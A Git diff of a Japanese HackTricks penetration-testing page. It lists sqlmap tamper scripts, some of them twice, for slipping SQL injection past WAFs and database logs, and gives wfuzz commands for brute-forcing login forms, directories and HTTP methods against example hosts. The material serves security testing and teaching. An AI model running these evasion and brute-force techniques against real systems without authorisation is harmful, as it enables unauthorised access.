| space2randomblank.py | スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます。 |
|
||||
| symboliclogical.py | ANDおよびOR論理演算子をその記号対応物(&&および)に置き換えます。 |
|
||||
| unionalltounion.py | UNION ALL SELECT を UNION SELECT に置き換えます。 |
|
||||
| unmagicquotes.py | 引用文字(')をマルチバイトコンボ %bf%27 に置き換え、最後に一般的なコメントを追加します(動作させるため)。 |
|
||||
| uppercase.py | 各キーワード文字を大文字の値 'INSERT' に置き換えます。 |
|
||||
| varnish.py | HTTPヘッダー 'X-originating-IP' を追加します。 |
|
||||
| versionedkeywords.py | 各非関数キーワードをバージョン付きMySQLコメントで囲みます。 |
|
||||
| versionedmorekeywords.py | 各キーワードをバージョン付きMySQLコメントで囲みます。 |
|
||||
| xforwardedfor.py | 偽のHTTPヘッダー 'X-Forwarded-For' を追加します。 |
|
||||
| apostrophemask.py | アポストロフィ文字をそのUTF-8全角対応文字に置き換えます。 |
|
||||
| apostrophenullencode.py | アポストロフィ文字をその不正な二重Unicode対応文字に置き換えます。 |
|
||||
| appendnullbyte.py | ペイロードの末尾にエンコードされたNULLバイト文字を追加します。 |
|
||||
| base64encode.py | 指定されたペイロード内のすべての文字をBase64エンコードします。 |
|
||||
| between.py | 大なり演算子('>')を「NOT BETWEEN 0 AND #」に置き換えます。 |
|
||||
| bluecoat.py | SQL文の後のスペース文字を有効なランダムな空白文字に置き換えます。その後、文字「=」をLIKE演算子に置き換えます。 |
|
||||
| chardoubleencode.py | 指定されたペイロード内のすべての文字を二重URLエンコードします(すでにエンコードされたものは処理しません)。 |
|
||||
| commalesslimit.py | 「LIMIT M, N」のようなインスタンスを「LIMIT N OFFSET M」に置き換えます。 |
|
||||
| commalessmid.py | 「MID(A, B, C)」のようなインスタンスを「MID(A FROM B FOR C)」に置き換えます。 |
|
||||
| concat2concatws.py | 「CONCAT(A, B)」のようなインスタンスを「CONCAT_WS(MID(CHAR(0), 0, 0), A, B)」に置き換えます。 |
|
||||
| charencode.py | 指定されたペイロード内のすべての文字をURLエンコードします(すでにエンコードされたものは処理しません)。 |
|
||||
| charunicodeencode.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードします(すでにエンコードされたものは処理しません)。"%u0022" |
|
||||
| charunicodeescape.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードします(すでにエンコードされたものは処理しません)。"\u0022" |
|
||||
| equaltolike.py | 演算子「=」のすべての出現を演算子「LIKE」に置き換えます。 |
|
||||
| escapequotes.py | スラッシュで引用符('と")をエスケープします。 |
|
||||
| greatest.py | 大なり演算子('>')を「GREATEST」対応に置き換えます。 |
|
||||
| halfversionedmorekeywords.py | 各キーワードの前にバージョン付きMySQLコメントを追加します。 |
|
||||
| ifnull2ifisnull.py | 「IFNULL(A, B)」のようなインスタンスを「IF(ISNULL(A), B, A)」に置き換えます。 |
|
||||
| modsecurityversioned.py | 完全なクエリをバージョン付きコメントで囲みます。 |
|
||||
| modsecurityzeroversioned.py | 完全なクエリをゼロバージョン付きコメントで囲みます。 |
|
||||
| multiplespaces.py | SQLキーワードの周りに複数のスペースを追加します。 |
|
||||
| nonrecursivereplacement.py | 定義済みのSQLキーワードを置き換えに適した表現に置き換えます(例:.replace("SELECT", "")フィルター)。 |
|
||||
| percentage.py | 各文字の前にパーセント記号('%')を追加します。 |
|
||||
| overlongutf8.py | 指定されたペイロード内のすべての文字を変換します(すでにエンコードされたものは処理しません)。 |
|
||||
| randomcase.py | 各キーワード文字をランダムなケース値に置き換えます。 |
|
||||
| randomcomments.py | SQLキーワードにランダムなコメントを追加します。 |
|
||||
| securesphere.py | 特別に作成された文字列を追加します。 |
|
||||
| sp\_password.py | 自動的にDBMSログから隠すためにペイロードの末尾に「sp\_password」を追加します。 |
|
||||
| space2comment.py | スペース文字(' ')をコメントに置き換えます。 |
|
||||
| space2dash.py | スペース文字(' ')をダッシュコメント('--')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 |
|
||||
| space2hash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 |
|
||||
| space2morehash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 |
|
||||
| space2mssqlblank.py | スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます。 |
|
||||
| space2mssqlhash.py | スペース文字(' ')をポンド文字('#')に置き換え、改行('\n')を追加します。 |
|
||||
| space2mysqlblank.py | スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます。 |
|
||||
| space2mysqldash.py | スペース文字(' ')をダッシュコメント('--')に置き換え、改行('\n')を追加します。 |
|
||||
| space2plus.py | スペース文字(' ')をプラス('+')に置き換えます。 |
|
||||
| space2randomblank.py | スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます。 |
|
||||
| symboliclogical.py | ANDおよびOR論理演算子をその記号対応(&&および)に置き換えます。 |
|
||||
| unionalltounion.py | UNION ALL SELECTをUNION SELECTに置き換えます。 |
|
||||
| unmagicquotes.py | 引用文字(')をマルチバイトコンボ%bf%27に置き換え、最後に一般的なコメントを追加します(動作させるため)。 |
|
||||
| uppercase.py | 各キーワード文字を大文字の「INSERT」に置き換えます。 |
|
||||
| varnish.py | HTTPヘッダー「X-originating-IP」を追加します。 |
|
||||
| versionedkeywords.py | 各非関数キーワードをバージョン付きMySQLコメントで囲みます。 |
|
||||
| versionedmorekeywords.py | 各キーワードをバージョン付きMySQLコメントで囲みます。 |
|
||||
| xforwardedfor.py | 偽のHTTPヘッダー「X-Forwarded-For」を追加します。 |
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
|
@ -17,11 +17,11 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
ウェブアプリケーションをどこでもFUZZするためのツール。
|
||||
|
||||
> [Wfuzz](https://github.com/xmendez/wfuzz)は、ウェブアプリケーションの評価作業を容易にするために作成されており、単純な概念に基づいています:FUZZキーワードへの参照を指定されたペイロードの値で置き換えます。
|
||||
> [Wfuzz](https://github.com/xmendez/wfuzz)は、ウェブアプリケーションの評価作業を容易にするために作成され、単純な概念に基づいています:FUZZキーワードへの参照を指定されたペイロードの値で置き換えます。
|
||||
|
||||
## インストール
|
||||
|
||||
Kaliにインストール済み
|
||||
Kaliにインストール
|
||||
|
||||
Github: [https://github.com/xmendez/wfuzz](https://github.com/xmendez/wfuzz)
|
||||
```
|
||||
|
@ -57,7 +57,7 @@ wfuzz -e encoders #Prints the available encoders
|
|||
-w /path/to/file,base64 #Will use a list, and transform to base64
|
||||
-z list,each-element-here,hexlify #Inline list and to hex before sending values
|
||||
```
|
||||
## CheetSheet
|
||||
## チートシート
|
||||
|
||||
### ログインフォームブルートフォース
|
||||
|
||||
|
@ -75,9 +75,9 @@ wfuzz.py -c -z file,users.txt -z file,pass.txt --sc 200 -d "name=FUZZ&password=F
|
|||
```bash
|
||||
wfuzz -c -w users.txt -w pass.txt --ss "Welcome " -p 127.0.0.1:8080:HTTP -b "PHPSESSIONID=1234567890abcdef;customcookie=hey" "http://example.com/index.php?username=FUZZ&password=FUZ2Z&action=sign+in"
|
||||
```
|
||||
### ブルートフォースディレクトリ/RESTfulブルートフォース
|
||||
### ブルートフォース ディレクトリ/RESTful ブルートフォース
|
||||
|
||||
[Arjunパラメータワードリスト](https://raw.githubusercontent.com/s0md3v/Arjun/master/arjun/db/params.txt)
|
||||
[Arjun パラメータ ワードリスト](https://raw.githubusercontent.com/s0md3v/Arjun/master/arjun/db/params.txt)
|
||||
```
|
||||
wfuzz -c -w /tmp/tmp/params.txt --hc 404 https://domain.com/api/FUZZ
|
||||
```
|
||||
|
@ -113,7 +113,7 @@ http://example.com -t 100
|
|||
```
|
||||
### HTTP動詞(メソッド)ブルートフォース
|
||||
|
||||
#### **ファイルを使用して**
|
||||
#### **ファイルを使用**
|
||||
```bash
|
||||
wfuzz -c -w methods.txt -p 127.0.0.1:8080:HTTP --sc 200 -X FUZZ "http://example.com/index.php"
|
||||
```
|
||||
|
@ -138,9 +138,9 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
Loading…
Reference in a new issue